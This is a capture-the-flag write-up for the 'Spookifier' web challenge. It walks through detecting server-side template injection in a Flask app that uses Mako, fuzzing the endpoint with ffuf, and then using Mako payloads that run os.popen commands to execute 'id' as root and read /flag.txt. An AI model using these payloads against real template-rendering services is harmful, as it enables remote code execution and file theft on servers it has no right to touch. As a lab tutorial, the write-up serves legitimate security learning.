INTRODUCTION
Spookifier is an excellent introduction to a very fun class of web vulnerabilities. It makes for a nice little “coffee break” challenge. Perfect if you don’t have much time.
FIRST TAKE
Start by downloading the files. It’s a docker container with a Flask application inside. Read the code, and realize there’s only one endpoint inside.
It’s a Python Flask server and uses Mako as a template engine.
FIND THE VULN
Without too much code reading, it is clear that there probably isn’t a command injection here: there’s no obvious vulnerable code that normally leads to OS command injection. But there might be an SSTI… I’m not super familiar with Mako, so I’ll investigate.
Whitebox Approach
Lining it up the situation to the flowchart shown in PayloadAllTheThings…
…we can check for Mako SSTI:
${"z".join("ab")}
Yep, it renders as azb
. There’s definitely python being executed here, confirming the presence of SSTI.
Blackbox Approach
Other fuzzing didn’t work at all, so I began to suspect that SSTI was present.
To investigate, I tried throwing a template injection wordlist at it, using ffuf
:
# This wordlist contains a bunch of ways to execute 42 * 42 : expected result = 1764
WLIST=/usr/share/seclists/Fuzzing/template-engines-expression.txt
# Use ffuf in regex matching mode
ffuf -w $WLIST:FUZZ -u 'http://94.237.54.116:35270/?text=FUZZ' -c -mr '1764'
Results:
[[${42*42}]] [Status: 200, Size: 7734, Words: 2625, Lines: 224, Duration: 107ms]
{^xyzm42}1764{/xyzm42} [Status: 200, Size: 7830, Words: 2631, Lines: 224, Duration: 111ms]
${42*42} [Status: 200, Size: 7718, Words: 2613, Lines: 224, Duration: 108ms]
The middle one is a false positive, but the other two share the same syntax: ${something}
.
To confirm, I’ll go through the flowchart:
- ${77} –> YES
- *a{comment}b –> NO
- ${“z”.join(“ab”)} –> YES
This indicates the template engine is Mako, and that an SSTI exists.
MAKE THE EXPLOIT
Next, I’ll investigate how Mako templates work.
Turns out that they use <%
and %>
for the template literals, so we should be able to just plop some python into there (if we want it executed but not rendered).
Let’s start with the standard test for SSTI:
<%import os;x=os.popen('id').read()%> ${x}
Result: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
👏 Perfect! Now let’s just grab the flag. We already know its filepath from reading the source code:
<%import os;x=os.popen('cat /flag.txt').read()%> ${x}
And there’s the flag 😉
Useful resources: https://portswigger.net/research/server-side-template-injection
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake